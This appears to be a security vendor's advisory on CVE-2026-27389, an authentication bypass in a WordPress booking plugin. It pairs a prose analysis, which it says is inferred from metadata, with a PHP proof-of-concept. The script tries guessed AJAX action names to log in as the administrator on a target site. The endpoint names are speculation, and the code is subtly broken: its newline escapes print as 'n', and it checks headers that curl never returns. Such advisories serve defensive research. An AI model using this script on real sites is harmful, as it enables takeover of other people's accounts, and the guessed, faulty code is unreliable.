Atomic Edge analysis of CVE-2026-27389 (metadata-based):
This vulnerability is a critical authentication bypass in the WeDesignTech Ultimate Booking Addon WordPress plugin. The flaw allows unauthenticated attackers to bypass standard authentication mechanisms and log in as any existing user, including administrators. The vulnerability affects all plugin versions up to and including 1.0.1.
Atomic Edge research infers the root cause is an authentication bypass using an alternate path or channel, as classified by CWE-288. This typically indicates the plugin exposes an endpoint, such as an AJAX handler or REST API route, that performs privileged actions without verifying the user’s identity. The vulnerable code likely accepts a user identifier parameter and directly sets authentication cookies or session variables, omitting standard WordPress nonce and capability checks. These conclusions are inferred from the CWE classification and vulnerability description, as the source code is unavailable for confirmation.
Exploitation likely targets a WordPress AJAX endpoint. Attackers would send a crafted POST request to `/wp-admin/admin-ajax.php`. The request would specify an action parameter derived from the plugin slug, such as `wedesigntech_ultimate_booking_addon_login` or a similar function. The payload would include a parameter like `user_id` or `username` to specify the victim account. The server-side handler would then improperly authenticate the attacker as that user, potentially returning a valid session cookie or redirecting to an authenticated dashboard.
Remediation requires implementing proper authentication and authorization checks on all plugin endpoints. The fix must verify the current user’s identity and permissions before executing any action that modifies authentication state. For WordPress plugins, this involves using the `current_user_can()` function for capability checks and the `check_ajax_referer()` or `wp_verify_nonce()` functions for request validation. The patched code must ensure any user-switching functionality is strictly limited to administrators and includes robust nonce verification.
Successful exploitation grants an attacker full access to a victim user’s account. If an administrator account is targeted, the attacker gains complete control over the WordPress site. This allows installation of malicious plugins, theme editing, user creation, data exfiltration, and server-side code execution through plugin or theme file editors. The CVSS 9.8 score reflects the attack’s network-based, low-complexity nature and the high impact on confidentiality, integrity, and availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27389 - WeDesignTech Ultimate Booking Addon <= 1.0.1 - Authentication Bypass
<?php
/**
* Proof-of-concept for CVE-2026-27389.
* This script attempts to exploit an authentication bypass vulnerability.
* The exact endpoint and parameter names are inferred from common WordPress plugin patterns.
* Assumptions:
* 1. The plugin registers a vulnerable AJAX action for unauthenticated users (`wp_ajax_nopriv_*`).
* 2. The action name is derived from the plugin slug.
* 3. The endpoint accepts a user identifier parameter.
*/
$target_url = 'http://target-site.com'; // CHANGE THIS
// Common inferred AJAX action names based on plugin slug
$possible_actions = [
'wedesigntech_ultimate_booking_addon_login',
'wedesigntech_ultimate_booking_auth',
'ultimate_booking_addon_authenticate',
'wdt_uba_auth'
];
// Target user ID to impersonate (1 is often the default administrator)
$target_user_id = 1;
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
foreach ($possible_actions as $action) {
$post_data = [
'action' => $action,
'user_id' => $target_user_id,
// Other potential parameter names
'username' => 'admin',
'email' => 'admin@example.com'
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "[*] Trying action: {$action}n";
echo " HTTP Code: {$http_code}n";
// Check for signs of successful authentication, like a redirect or session cookie
if (curl_errno($ch)) {
echo " cURL Error: " . curl_error($ch) . "n";
} else {
// Inspect response headers for Set-Cookie
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
if (strpos($headers, 'Set-Cookie:') !== false || strpos($response, 'redirect') !== false) {
echo " [POTENTIAL SUCCESS] Received cookies or redirect.n";
}
}
echo "n";
}
curl_close($ch);
?>
